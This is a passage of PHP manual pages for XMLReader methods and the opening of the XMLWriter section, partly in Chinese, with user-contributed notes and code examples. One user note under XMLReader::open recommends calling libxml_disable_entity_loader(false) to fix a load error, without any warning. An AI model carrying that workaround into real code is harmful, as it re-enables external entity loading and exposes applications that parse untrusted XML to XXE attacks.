  • XMLReader::moveToElement() - Position cursor on the parent Element of current Attribute
  • XMLReader::moveToAttributeNo() - Move cursor to an attribute by index
  • XMLReader::moveToAttributeNs() - Move cursor to a named attribute
  • XMLReader::moveToFirstAttribute() - Position cursor on the first Attribute

User Contributed Notes

There are no user contributed notes for this page.


Move cursor to an attribute by index

  • ? XMLReader::moveToAttribute
  • XMLReader::moveToAttributeNs ?
  • PHP Manual
  • XMLReader
  • Move cursor to an attribute by index

XMLReader::moveToAttributeNo

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::moveToAttributeNo — Move cursor to an attribute by index

说明

public XMLReader::moveToAttributeNo ( int $index ) : bool

Positions cursor on attribute based on its position.

参数

index

The position of the attribute.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLReader::moveToElement() - Position cursor on the parent Element of current Attribute
  • XMLReader::moveToAttribute() - Move cursor to a named attribute
  • XMLReader::moveToAttributeNs() - Move cursor to a named attribute
  • XMLReader::moveToFirstAttribute() - Position cursor on the first Attribute

User Contributed Notes

There are no user contributed notes for this page.


Move cursor to a named attribute

  • ? XMLReader::moveToAttributeNo
  • XMLReader::moveToElement ?
  • PHP Manual
  • XMLReader
  • Move cursor to a named attribute

XMLReader::moveToAttributeNs

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::moveToAttributeNs — Move cursor to a named attribute

说明

public XMLReader::moveToAttributeNs ( string $localName , string $namespaceURI ) : bool

Positions cursor on the named attribute in specified namespace.

参数

localName

The local name.

namespaceURI

The namespace URI.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLReader::moveToElement() - Position cursor on the parent Element of current Attribute
  • XMLReader::moveToAttribute() - Move cursor to a named attribute
  • XMLReader::moveToAttributeNo() - Move cursor to an attribute by index
  • XMLReader::moveToFirstAttribute() - Position cursor on the first Attribute

User Contributed Notes

There are no user contributed notes for this page.


Position cursor on the parent Element of current Attribute

  • ? XMLReader::moveToAttributeNs
  • XMLReader::moveToFirstAttribute ?
  • PHP Manual
  • XMLReader
  • Position cursor on the parent Element of current Attribute

XMLReader::moveToElement

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::moveToElement — Position cursor on the parent Element of current Attribute

说明

public XMLReader::moveToElement ( void ) : bool

Moves cursor to the parent Element of current Attribute.

返回值

Returns TRUE if successful and FALSE if it fails or not positioned on Attribute when this method is called.

参见

  • XMLReader::moveToAttribute() - Move cursor to a named attribute
  • XMLReader::moveToAttributeNo() - Move cursor to an attribute by index
  • XMLReader::moveToAttributeNs() - Move cursor to a named attribute
  • XMLReader::moveToFirstAttribute() - Position cursor on the first Attribute

User Contributed Notes

Sean Colin Ruiz 08-Jan-2017 08:54
On an element like this: <self_closing attribute="1" /> isEmptyElement will return FALSE after you have iterated through the attributes.  So you need to use implicitly call moveToElement(), in order to move the cursor back to the parent element and use isEmptyElement again.


Position cursor on the first Attribute

  • ? XMLReader::moveToElement
  • XMLReader::moveToNextAttribute ?
  • PHP Manual
  • XMLReader
  • Position cursor on the first Attribute

XMLReader::moveToFirstAttribute

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::moveToFirstAttribute — Position cursor on the first Attribute

说明

public XMLReader::moveToFirstAttribute ( void ) : bool

Moves cursor to the first Attribute.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLReader::moveToElement() - Position cursor on the parent Element of current Attribute
  • XMLReader::moveToAttribute() - Move cursor to a named attribute
  • XMLReader::moveToAttributeNo() - Move cursor to an attribute by index
  • XMLReader::moveToAttributeNs() - Move cursor to a named attribute
  • XMLReader::moveToNextAttribute() - Position cursor on the next Attribute

User Contributed Notes

There are no user contributed notes for this page.


Position cursor on the next Attribute

  • ? XMLReader::moveToFirstAttribute
  • XMLReader::next ?
  • PHP Manual
  • XMLReader
  • Position cursor on the next Attribute

XMLReader::moveToNextAttribute

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::moveToNextAttribute — Position cursor on the next Attribute

说明

public XMLReader::moveToNextAttribute ( void ) : bool

Moves cursor to the next Attribute if positioned on an Attribute or moves to first attribute if positioned on an Element.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLReader::moveToElement() - Position cursor on the parent Element of current Attribute
  • XMLReader::moveToAttribute() - Move cursor to a named attribute
  • XMLReader::moveToAttributeNo() - Move cursor to an attribute by index
  • XMLReader::moveToAttributeNs() - Move cursor to a named attribute
  • XMLReader::moveToFirstAttribute() - Position cursor on the first Attribute

User Contributed Notes

There are no user contributed notes for this page.


Move cursor to next node skipping all subtrees

  • ? XMLReader::moveToNextAttribute
  • XMLReader::open ?
  • PHP Manual
  • XMLReader
  • Move cursor to next node skipping all subtrees

XMLReader::next

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::next — Move cursor to next node skipping all subtrees

说明

public XMLReader::next ([ string $localname ] ) : bool

Positions cursor on the next node skipping all subtrees.

参数

localname

The name of the next node to move to.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLReader::moveToNextAttribute() - Position cursor on the next Attribute
  • XMLReader::moveToElement() - Position cursor on the parent Element of current Attribute
  • XMLReader::moveToAttribute() - Move cursor to a named attribute

User Contributed Notes

Quiet Noise 13-Apr-2019 01:39
next() without parameters will bring you to the next sibling node on the same depth as the depth where the current cursor is.
Examples:
1. If you are on an opening ELEMENT node next() will bring you to the new line node next to the closing tag of that element (i.e. if you have each tag in separate line) or it will bring you to the opening tag of next node on the same depth.
2. If you are on a TEXT node next() will bring you to the opening tag if there is one next to it.

If there are no more nodes on the given depth next() will bring you to the closing tag (END_ELEMENT) of the wrapping parent.
ppp dot BOTSNEEDNOTAPPLY at salesfloor dot net 08-Sep-2015 09:48
This method appears to follow these rules:

 - if $localName names a sibling node, the cursor is moved to that node;
 - if $localName names an ancestor node, the cursor is moved to the end of that node;
 - if $localName names a node that is a sibling of any of the current node's ancestors, the cursor is moved to that node;
 - otherwise the cursor is moved outside the document.

Note especially that this method never moves the cursor to child nodes.

For example, given this XML document

<?xml version="1.0" encoding="UTF-8"?>
<root id="root" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <aaa id="1">
    <bbb id="1.1"></bbb>
    <bbb id="1.2"></bbb>
  </aaa>
  <ccc id="2" />
  <aaa id="3">
    <ddd id="3.1">
      <aaa id="3.1.1"></aaa>
    </ddd>
    <aaa id="3.2"></aaa>
  </aaa>
  <aaa id="4">
    <eee id="4.1"></eee>
  </aaa>
</root>

going from <root id="root"> to "bbb" places the cursor outside the document;
going from <aaa id="1"> to "bbb" places the cursor outside the document;
going from <aaa id="1"> to "aaa" places the cursor on <aaa id="3">;
going from <bbb id="1.1"> to "bbb" places the cursor on <bbb id="1.2">;
going from <bbb id="1.2"> to "bbb" places the cursor outside the document;
going from <bbb id="1.1"> to "ddd" places the cursor outside the document;
going from <bbb id="1.1"> to "aaa" places the cursor on </aaa>;
going from <bbb id="1.1"> to "ccc" places the cursor on <ccc id="2">;
going from <bbb id="1.1"> to "nonsuch" places the cursor outside the document;
going from <bbb id="1.1"> to "root" places the cursor on </root>;
going from <ddd id="3.1"> to "aaa" places the cursor on <aaa id="3.2">;
going from <ddd id="3.1"> to "eee" places the cursor outside the document;

Try it yourself:

<?php

$document = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<root id="root" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <aaa id="1">
    <bbb id="1.1"></bbb>
    <bbb id="1.2"></bbb>
  </aaa>
  <ccc id="2" />
  <aaa id="3">
    <ddd id="3.1">
      <aaa id="3.1.1"></aaa>
    </ddd>
    <aaa id="3.2"></aaa>
  </aaa>
  <aaa id="4">
    <eee id="4.1"></eee>
  </aaa>
</root>
XML;

$filename = "/tmp/xmlreader.php.xml";
file_put_contents($filename, $document);

echo "given this XML document\n\n$document\n\n";

showNext("root", "bbb");
showNext("1", "bbb");
showNext("1", "aaa");
showNext("1.1", "bbb");
showNext("1.2", "bbb");
showNext("1.1", "ddd");
showNext("1.1", "aaa");
showNext("1.1", "ccc");
showNext("1.1", "nonsuch");
showNext("1.1", "root");
showNext("3.1", "aaa");
showNext("3.1", "eee");

function showNext($from, $to) {
  global $filename;

  $xml = new \XmlReader();
  $xml->open("file://$filename");
  while ($xml->read()) {
    if ($xml->nodeType === \XmlReader::ELEMENT) {
      if ($xml->getAttribute("id") == $from) {
        echo "going from <$xml->name id=\"$from\">";
        break;
      }
    }
  }

  $xml->next($to);
  $destination = "";
  if($xml->nodeType === \XmlReader::NONE) {
    if(!$xml->read()) {
      $destination = "outside the document";
    }
  }

  if(!$destination) {
    if ($xml->nodeType === \XmlReader::END_ELEMENT) {
      $destination = "on </$xml->name>";
    } else if ($xml->nodeType === \XmlReader::ELEMENT) {
      $destination = "on <$xml->name id=\"" . $xml->getAttribute("id") . "\">";
    }
  }

  echo " to \"$to\" places the cursor $destination;\n";

  $xml->close();
}
?>
gholson19 at gmail dot com 13-May-2015 09:21
To skip over deletion nodes in the xml extracted from a word document, do something like this:

if ($paragraph->nodeType == XMLREADER::ELEMENT && $paragraph->name === 'w:del'){$paragraph->next();}


Set the URI containing the XML to parse

  • ? XMLReader::next
  • XMLReader::read ?
  • PHP Manual
  • XMLReader
  • Set the URI containing the XML to parse

XMLReader::open

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::open — Set the URI containing the XML to parse

说明

public XMLReader::open ( string $URI [, string $encoding [, int $options = 0 ]] ) : bool

Set the URI containing the XML document to be parsed.

参数

URI

URI pointing to the document.

encoding

The document encoding or NULL.

options

A bitmask of the LIBXML_* constants.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。 If called statically, returns an XMLReader 或者在失败时返回 FALSE.

错误／异常

此方法可以被静态调用,但会抛出一个 E_STRICT 错误。

更新日志

版本 | 说明
5.2.0 | encoding and options were added.

参见

  • XMLReader::xml() - Set the data containing the XML to parse
  • XMLReader::close() - Close the XMLReader input

User Contributed Notes

den at nurfuerspam dot de 29-Apr-2017 10:08
If you like to read the XML from HTTP whit a POST request, you can use libxml_set_streams_context.
Example:

<?php

$param = array('http' => array(
    'method' => 'POST',
    'header' => "Content-type: application/x-www-form-urlencoded\r\n",
    'content' => http_build_query(array(
        'post_param1' => 'value1',
        'post_param2' => 'value2',
    )),
));
libxml_set_streams_context(stream_context_create($param));
$reader = XMLReader::open('https://example.com/get.php?get_param=value3');

?>
dave at sophoservices dot com 02-Dec-2016 07:43
When using the XmlReader to read local XML files, remember it the open function requests a URI. Add 'file://' to the front of the FULL path to the XML. Otherwise you may get:

PHP Warning:  XMLReader::open(): Unable to open source data in ...
mood(_a_)twolate.com 14-Oct-2016 11:03
For some reasons, the open() method keep throwing me this error :

PHP Warning:  XMLReader::open(): Unable to open source data in /var/www/nota/ethamap/fat_xml.php

It doesn't make sense as the xml file target hosted on my server is perfectly reachable. Adding this line before invoking open() fixed it :

libxml_disable_entity_loader(false);

Please view https://bugs.php.net/bug.php?id=62577
It is somehow related.
alvaro at demogracia dot com 14-Nov-2014 12:35
XML can optionally declare its own encoding:

    <?xml version="1.0" encoding="UTF-8"?>

You can use the $encoding parameter to provide this information (if missing) or override it (if wrong).

Output is always UTF-8 (that's how libxml works).
crungmungus at gmail dot com 15-Sep-2008 05:11
Windows users remember to enable php_openssl.dll in your php.ini if you want to be able to use this function (and others) with a HTTPS URL.


Move to next node in document

  • ? XMLReader::open
  • XMLReader::readInnerXml ?
  • PHP Manual
  • XMLReader
  • Move to next node in document

XMLReader::read

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::read — Move to next node in document

说明

public XMLReader::read ( void ) : bool

Moves cursor to the next node in the document.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLReader::moveToElement() - Position cursor on the parent Element of current Attribute
  • XMLReader::moveToAttribute() - Move cursor to a named attribute
  • XMLReader::next() - Move cursor to next node skipping all subtrees

User Contributed Notes

peter at 3xe dot co dot uk 13-Oct-2016 12:08
Another approach to the 'also reads closing tags' gotcha:

<?php
$reader = new XMLReader();
$reader->open('users.xml');

while ($reader->read()) {
  if ($reader->nodeType == XMLReader::END_ELEMENT) {
    continue; //skips the rest of the code in this iteration
  }
  //do something with desired node type
  if($reader->name == 'user') {
    //...
  }
}
?>
Anonymous 20-Mar-2015 09:49
> I would have liked to use the next() function instead, but as I needed to parse 2 different subtrees, I couldn't figure out how to find all the columns, reset the pointer, and then find all the rows.

I just use:

$reader->close();
$reader->open($url);

to reset the pointer.
ecziegler at gmail 29-Jan-2014 12:27
If like myself you have been turning the interwebz upside down looking for a solution for this issue:
PHP Warning:  XMLReader::read(): /tmp/xml_feed.xml:4183934: parser error : Input is not proper UTF-8, indicate encoding !

For some reason, this warning breaks the execution - is it a fatal error in disguise?

After days of frustration I found it!!!!
tidy -xml -o output.xml -utf8 -f error.log input.xml

You can invoque tidy using exec, It takes several seconds to convert a 250Mb feed, but it worthy the time.

In my case the issue was with latin1 charset, and for some reason I had to pass the xml through tidy 2 times - first time around creates new errors, second time it fixes everything.

I know invalid xml should be fixed by xml creators, but it works differently in the real world.
Nate 27-Jun-2011 10:49
It is interesting to note that this function will stop on closing tags as well.  I have an XML document similar to the following:

<root>
  <columns>
    <column>columnX</column>
    <column>columnY</column>
  </columns>
  <table>
    <row>
      <columnX>38</columnX>
      <columnY>50</columnY>
    </row>
    <row>
      <columnX>82</columnY>
      <columnY>28</columnY>
    </row>
    ...
  </table>
</root>

I need to parse the <columns> object to know what attributes to check for from each <row> node.  Therefore I was doing the following:

<?php
while ($xml->read()) {
  if ($xml->name === 'column') {
   //parse column node to into $columns array
  }
  elseif ($xml->name === 'row') {
    //parse row node, using constructed $columns array
  }
}
?>

This kind of worked in that I ended up with an array of all the data I wanted, but the array I constructed was twice as large as I expected and every other entry was empty.  Took me a while to debug, but finally figured out that checking <?php $xml->name === 'row' ?> matches both <row> and </row>, so the check should really be something more like:

<?php

if ($xml->name === 'row' && $xml->nodeType == XMLReader::ELEMENT) {
  // parse row node
}

?>

I would have liked to use the next() function instead, but as I needed to parse 2 different subtrees, I couldn't figure out how to find all the columns, reset the pointer, and then find all the rows.
andy at siliconrockstar dot com 16-May-2011 01:01
A very simple way to avoid typing $reader->read() multiple times when you want to skip some nodes:

<?php
class smartXMLReader extends XMLReader {
    public function readTimes($count) {
        $i = 0;
        while($i < $count){
            $this->read();
            $i++;
        }
    }
}
?>

Using this smartXMLReader,

<?php
$reader->readTimes(3);
?>

is equivalent to

<?php
$reader->read();
$reader->read();
$reader->read();
?>

Makes getting around in your XML document a bit easier :)
jirka at kosek dot cz 08-Feb-2006 01:01
libxml2 contains much more useful method readString() that will read and return whole text content of element. You can call it after receiving start tag (XMLReader::ELEMENT). You can use this PHP code to emulate this method until PHP will directly call underlying libxml2 implementation.

<?php
class XMLReader2 extends XMLReader
{
  function readString()
  {
        $depth = 1;
        $text = "";

        while ($this->read() && $depth != 0)
        {
            if (in_array($this->nodeType, array(XMLReader::TEXT, XMLReader::CDATA, XMLReader::WHITESPACE, XMLReader::SIGNIFICANT_WHITESPACE)))
                $text .= $this->value;
            if ($this->nodeType == XMLReader::ELEMENT) $depth++;
            if ($this->nodeType == XMLReader::END_ELEMENT) $depth--;
        }
        return $text;
    }
}
?>

Just use XMLReader2 instead of XMLReader.


Retrieve XML from current node

  • ? XMLReader::read
  • XMLReader::readOuterXml ?
  • PHP Manual
  • XMLReader
  • Retrieve XML from current node

XMLReader::readInnerXml

(PHP 5 >= 5.2.0, PHP 7)

XMLReader::readInnerXml — Retrieve XML from current node

说明

public XMLReader::readInnerXml ( void ) : string

Reads the contents of the current node, including child nodes and markup.

参数

此函数没有参数。

返回值

Returns the contents of the current node as a string. Empty string on failure.

注释

Caution

此函数仅在 PHP 与 libxml 20620 或以上版本编译时可用。

参见

  • XMLReader::readString() - Reads the contents of the current node as a string
  • XMLReader::readOuterXml() - Retrieve XML from current node, including itself
  • XMLReader::expand() - Returns a copy of the current node as a DOM object

User Contributed Notes

Evert Pot 20-Mar-2015 08:26
Disregard my other comment.

readInnerXml does not advance the cursor, so you can call it more than once. I made a mistake testing this.
Evert Pot 20-Mar-2015 08:21
Note that readInnerXml() also advances the cursor.


Retrieve XML from current node, including itself

  • ? XMLReader::readInnerXml
  • XMLReader::readString ?
  • PHP Manual
  • XMLReader
  • Retrieve XML from current node, including itself

XMLReader::readOuterXml

(PHP 5 >= 5.2.0, PHP 7)

XMLReader::readOuterXml — Retrieve XML from current node, including itself

说明

public XMLReader::readOuterXml ( void ) : string

Reads the contents of the current node, including the node itself.

参数

此函数没有参数。

返回值

Returns the contents of current node, including itself, as a string. Empty string on failure.

注释

Caution

此函数仅在 PHP 与 libxml 20620 或以上版本编译时可用。

参见

  • XMLReader::readString() - Reads the contents of the current node as a string
  • XMLReader::readInnerXml() - Retrieve XML from current node
  • XMLReader::expand() - Returns a copy of the current node as a DOM object

User Contributed Notes

ralf dot horlebein at web dot de 21-Jul-2014 10:57
Please note that empty tags like <span></span> will be automatically converted to the short notation <span />.  This could cause trouble in some cases.
simon at avalon dot net dot nz 16-Mar-2011 04:35
Be aware that when you extract a piece of XML from a larger XML document using the readOuterXML() function, it tries to determine the namespaces (as defined in the original XML document) that apply to the new piece, and inserts them into the appropriate tags as xmlns attributes. This can be disconcerting, but it should be a benign alteration in most cases, and I understand that it causes the new chunk of XML to be correctly formatted so it is valid in it's own right.

As far as I'm aware it's not possible to change this behaviour.


Reads the contents of the current node as a string

  • ? XMLReader::readOuterXml
  • XMLReader::setParserProperty ?
  • PHP Manual
  • XMLReader
  • Reads the contents of the current node as a string

XMLReader::readString

(PHP 5 >= 5.2.0, PHP 7)

XMLReader::readString — Reads the contents of the current node as a string

说明

public XMLReader::readString ( void ) : string

Reads the contents of the current node as a string.

参数

此函数没有参数。

返回值

Returns the content of the current node as a string. Empty string on failure.

注释

Caution

此函数仅在 PHP 与 libxml 20620 或以上版本编译时可用。

参见

  • XMLReader::readOuterXml() - Retrieve XML from current node, including itself
  • XMLReader::readInnerXml() - Retrieve XML from current node
  • XMLReader::expand() - Returns a copy of the current node as a DOM object

User Contributed Notes

alexander_behling at web dot de 25-Jan-2018 03:37
Important:
When using it use -> instead of ::.
You have to use :: only on static functions and then you have not to create a class object.
Lea Hayes 07-Jun-2011 01:51
I would like to reiterate that this does not work when compiled with versions of libxml lower than 20620. I found that it just presents a blank page.

<?php $string = $reader->readString(); ?>

I worked around this issue by adding the following helper function:

<?php
function read_string($reader) {
    $node = $reader->expand();
    return $node->textContent;
}
?>

And then using:

<?php $string = read_string($reader); ?>
Michael Rusch 18-May-2009 10:27
For those who, like me, are having trouble figuring out the difference between getString() an getInnerXML(), the difference is that getString() does NOT include markup.  So, for:

<foo>bar<baz>Hello, world!</baz></foo>

getString() on the <foo> node would return

bar Hello, world!

whereas getInnerXML() would return

bar<baz>Hello, world!</baz>


Set parser options

  • ? XMLReader::readString
  • XMLReader::setRelaxNGSchema ?
  • PHP Manual
  • XMLReader
  • Set parser options

XMLReader::setParserProperty

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::setParserProperty — Set parser options

说明

public XMLReader::setParserProperty ( int $property , bool $value ) : bool

Set parser options. The options must be set after
XMLReader::open() or
XMLReader::xml() are called and before
the first XMLReader::read() call.

参数

property

One of the parser option constants.

value

If set to TRUE the option will be enabled otherwise will be disabled.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

There are no user contributed notes for this page.


Set the filename or URI for a RelaxNG Schema

  • ? XMLReader::setParserProperty
  • XMLReader::setRelaxNGSchemaSource ?
  • PHP Manual
  • XMLReader
  • Set the filename or URI for a RelaxNG Schema

XMLReader::setRelaxNGSchema

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::setRelaxNGSchema — Set the filename or URI for a RelaxNG Schema

说明

public XMLReader::setRelaxNGSchema ( string $filename ) : bool

Set the filename or URI for the RelaxNG Schema to use for validation.

参数

filename

filename or URI pointing to a RelaxNG Schema.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLReader::setRelaxNGSchemaSource() - Set the data containing a RelaxNG Schema
  • XMLReader::setSchema() - Validate document against XSD
  • XMLReader::isValid() - Indicates if the parsed document is valid

User Contributed Notes

remy dot damour at laposte dot net 30-Dec-2008 04:40
Make sure to load your data prior to calling ->setRelaxNGSchema() otherwise you will get an error.

<?php
$xml_reader = new XMLReader();
$xml_reader->setRelaxNGSchema($rng_schema);
$xml_reader->xml($xml_data);
?>
Above code generates the following warning: "Warning: XMLReader::setRelaxNGSchemaSource()
[xmlreader.setrelaxngschemasource]: Unable to set schema. This must be
set prior to reading or schema contains errors."

whereas the following does not generate a warning:
<?php
$xml_reader = new XMLReader();
$xml_reader->xml($xml_data); // or $xml_reader->xml($xml_file);
$xml_reader->setRelaxNGSchema($rng_schema);
?>

cf. http://bugs.php.net/bug.php?id=46978


Set the data containing a RelaxNG Schema

  • ? XMLReader::setRelaxNGSchema
  • XMLReader::setSchema ?
  • PHP Manual
  • XMLReader
  • Set the data containing a RelaxNG Schema

XMLReader::setRelaxNGSchemaSource

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::setRelaxNGSchemaSource — Set the data containing a RelaxNG Schema

说明

public XMLReader::setRelaxNGSchemaSource ( string $source ) : bool

Set the data containing a RelaxNG Schema to use for validation.

参数

source

String containing the RelaxNG Schema.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • XMLReader::setRelaxNGSchema() - Set the filename or URI for a RelaxNG Schema
  • XMLReader::setSchema() - Validate document against XSD
  • XMLReader::isValid() - Indicates if the parsed document is valid

User Contributed Notes

remy dot damour at laposte dot net 30-Dec-2008 04:43
If you get the following warning message when calling ->setRelaxNGSchemaSource(): "Warning: XMLReader::setRelaxNGSchemaSource()
[xmlreader.setrelaxngschemasource]: Unable to set schema. This must be
set prior to reading or schema contains errors."

Make sure to load data using XMLReader::open() or XMLReader::xml() prior to calling XMLReader::setRelaxNGSchemaSource().

Cf. comment on XMLReader::setRelaxNGSchema for more details.
anzenews at volja dot net 21-Jan-2008 12:18
This function and setRelaxNGSchema() seem picky about when they are called - right after the call to open(). For example:

<?php
  $schema="/path/to/schema.rng";
  $xmlfile="/path/to/xml.xml";

  $xml = new XMLReader();
  $xml->open($xmlfile);
  $xml->setRelaxNGSchemaSource(file_get_contents($schema));

  while ($xml->read()) {
   // ...
  }

  $xml->close();
?>


Validate document against XSD

  • ? XMLReader::setRelaxNGSchemaSource
  • XMLReader::XML ?
  • PHP Manual
  • XMLReader
  • Validate document against XSD

XMLReader::setSchema

(PHP 5 >= 5.2.0, PHP 7)

XMLReader::setSchema — Validate document against XSD

说明

public XMLReader::setSchema ( string $filename ) : bool

Use W3C XSD schema to validate the document as it is processed. Activation is only possible before the first Read().

参数

filename

The filename of the XSD schema.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

错误／异常

Issues E_WARNING if libxml was built without schema support, the schema contains errors or if XMLReader::read() has already been called.

注释

Caution

此函数仅在 PHP 与 libxml 20620 或以上版本编译时可用。

参见

  • XMLReader::setRelaxNGSchema() - Set the filename or URI for a RelaxNG Schema
  • XMLReader::setRelaxNGSchemaSource() - Set the data containing a RelaxNG Schema
  • XMLReader::isValid() - Indicates if the parsed document is valid

User Contributed Notes

There are no user contributed notes for this page.


Set the data containing the XML to parse

  • ? XMLReader::setSchema
  • XMLWriter ?
  • PHP Manual
  • XMLReader
  • Set the data containing the XML to parse

XMLReader::XML

(PHP 5 >= 5.1.0, PHP 7)

XMLReader::XML — Set the data containing the XML to parse

说明

public XMLReader::xml ( string $source [, string $encoding [, int $options = 0 ]] ) : bool

Set the data containing the XML to parse.

参数

source

String containing the XML to be parsed.

encoding

The document encoding or NULL.

options

A bitmask of the LIBXML_* constants.

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。 If called statically, returns an XMLReader 或者在失败时返回 FALSE.

错误／异常

此方法可以被静态调用,但会抛出一个 E_STRICT 错误。

更新日志

版本 | 说明
5.2.0 | encoding and options were added.

参见

  • XMLReader::open() - Set the URI containing the XML to parse
  • XMLReader::close() - Close the XMLReader input

User Contributed Notes

There are no user contributed notes for this page.


XMLWriter

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 范例
    • Creating a simple XML document
    • Working with XML namespaces
    • Working with the OO API
  • XMLWriter 函数
    • XMLWriter::endAttribute — End attribute
    • XMLWriter::endCdata — End current CDATA
    • XMLWriter::endComment — Create end comment
    • XMLWriter::endDocument — End current document
    • XMLWriter::endDtdAttlist — End current DTD AttList
    • XMLWriter::endDtdElement — End current DTD element
    • XMLWriter::endDtdEntity — End current DTD Entity
    • XMLWriter::endDtd — End current DTD
    • XMLWriter::endElement — End current element
    • XMLWriter::endPi — End current PI
    • XMLWriter::flush — Flush current buffer
    • XMLWriter::fullEndElement — End current element
    • XMLWriter::openMemory — Create new xmlwriter using memory for string output
    • XMLWriter::openUri — Create new xmlwriter using source uri for output
    • XMLWriter::outputMemory — Returns current buffer
    • XMLWriter::setIndentString — Set string used for indenting
    • XMLWriter::setIndent — Toggle indentation on/off
    • XMLWriter::startAttributeNs — Create start namespaced attribute
    • XMLWriter::startAttribute — Create start attribute
    • XMLWriter::startCdata — Create start CDATA tag
    • XMLWriter::startComment — Create start comment
    • XMLWriter::startDocument — Create document tag
    • XMLWriter::startDtdAttlist — Create start DTD AttList
    • XMLWriter::startDtdElement — Create start DTD element
    • XMLWriter::startDtdEntity — Create start DTD Entity
    • XMLWriter::startDtd — Create start DTD tag
    • XMLWriter::startElementNs — Create start namespaced element tag
    • XMLWriter::startElement — Create start element tag
    • XMLWriter::startPi — Create start PI tag
    • XMLWriter::text — Write text
    • XMLWriter::writeAttributeNs — Write full namespaced attribute
    • XMLWriter::writeAttribute — Write full attribute
    • XMLWriter::writeCdata — Write full CDATA tag
    • XMLWriter::writeComment — Write full comment tag
    • XMLWriter::writeDtdAttlist — Write full DTD AttList tag
    • XMLWriter::writeDtdElement — Write full DTD element tag
    • XMLWriter::writeDtdEntity — Write full DTD Entity tag
    • XMLWriter::writeDtd — Write full DTD tag
    • XMLWriter::writeElementNs — Write full namespaced element tag
    • XMLWriter::writeElement — Write full element tag
    • XMLWriter::writePi — Writes a PI
    • XMLWriter::writeRaw — Write a raw XML text

User Contributed Notes

lingtalfi 08-Oct-2015 08:35
The single quote predefined entity is not escaped.
The other predefined entities are but not the single quote, so you will have to do it yourself.

That's what you would expect:

Ampersand     &     &amp;
Single Quote     '     &apos;
Double Quote     "     &quot;
Greater Than     >     &gt;
Less Than     <     &lt;

That's what you get with \XmlWriter:

Ampersand     &     &amp;
Single Quote     '     '
Double Quote     "     &quot;
Greater Than     >     &gt;
Less Than     <     &lt;
Alexey Zakhlestin 09-Jun-2008 03:47
important: XMLWriter expects UTF-8 data from you. It can output xml in various encodings, but input should be strictly utf-8!


简介

This is the XMLWriter extension. It wraps the libxml xmlWriter API.

This extension represents a writer that provides a non-cached, forward-only means of generating streams or files containing XML data.

This extension can be used in an object oriented style or a procedural one. Every method documented describes the alternative procedural call.

User Contributed Notes

There are no user contributed notes for this page.


安装

The XMLWriter extension was initially a PECL extension for PHP 5. It was later added to the PHP source (bundled) as of PHP 5.1.2. This extension is enabled by default.

此扩展默认为启用,编译时可通过下列选项禁用： --disable-xmlwriter

User Contributed Notes

There are no user contributed notes for this page.


资源类型

There is one resource used by the procedural version of the XMLWriter extension: returned by xmlwriter_open_memory() or xmlwriter_open_uri().

User Contributed Notes

There are no user contributed notes for this page.


范例

Table of Contents

  • Creating a simple XML document
  • Working with XML namespaces
  • Working with the OO API

User Contributed Notes

There are no user contributed notes for this page.


Creating a simple XML document

This example shows how to use XMLWriter to create a XML document in memory.

Example #1 Creating a simple XML document

<?php

$xw = xmlwriter_open_memory();
xmlwriter_set_indent($xw, 1);
$res = xmlwriter_set_indent_string($xw, ' ');

xmlwriter_start_document($xw, '1.0', 'UTF-8');

// A first element
xmlwriter_start_element($xw, 'tag1');

// Attribute 'att1' for element 'tag1'
xmlwriter_start_attribute($xw, 'att1');
xmlwriter_text($xw, 'valueofatt1');
xmlwriter_end_attribute($xw);

xmlwriter_write_comment($xw, 'this is a comment.');

// Start a child element
xmlwriter_start_element($xw, 'tag11');
xmlwriter_text($xw, 'This is a sample text, ?');
xmlwriter_end_element($xw); // tag11

xmlwriter_end_element($xw); // tag1

// CDATA
xmlwriter_start_element($xw, 'testc');
xmlwriter_write_cdata($xw, "This is cdata content");
xmlwriter_end_element($xw); // testc

xmlwriter_start_element($xw, 'testc');
xmlwriter_start_cdata($xw);
xmlwriter_text($xw, "test cdata2");
xmlwriter_end_cdata($xw);
xmlwriter_end_element($xw); // testc

// A processing instruction
xmlwriter_start_pi($xw, 'php');
xmlwriter_text($xw, '$foo=2;echo $foo;');
xmlwriter_end_pi($xw);

xmlwriter_end_document($xw);

echo xmlwriter_output_memory($xw);

以上例程会输出：

<?xml version="1.0" encoding="UTF-8"?>
<tag1 att1="valueofatt1">
 <!--this is a comment.-->
 <tag11>This is a sample text, ?</tag11>
</tag1>
<testc><![CDATA[This is cdata content]]></testc>
<testc><![CDATA[test cdata2]]></testc>
<?php $foo=2;echo $foo;?>

User Contributed Notes

There are no user contributed notes for this page.


Working with XML namespaces

This example shows how to create namespaced XML elements.

Example #1 Working with XML namespaces

<?php

$xw = xmlwriter_open_memory();
xmlwriter_set_indent($xw, 1);
$res = xmlwriter_set_indent_string($xw, ' ');

xmlwriter_start_document($xw, '1.0', 'UTF-8');
// A first element
xmlwriter_start_element_ns($xw,'prefix', 'books', 'uri');
xmlwriter_start_attribute($xw, 'isbn');

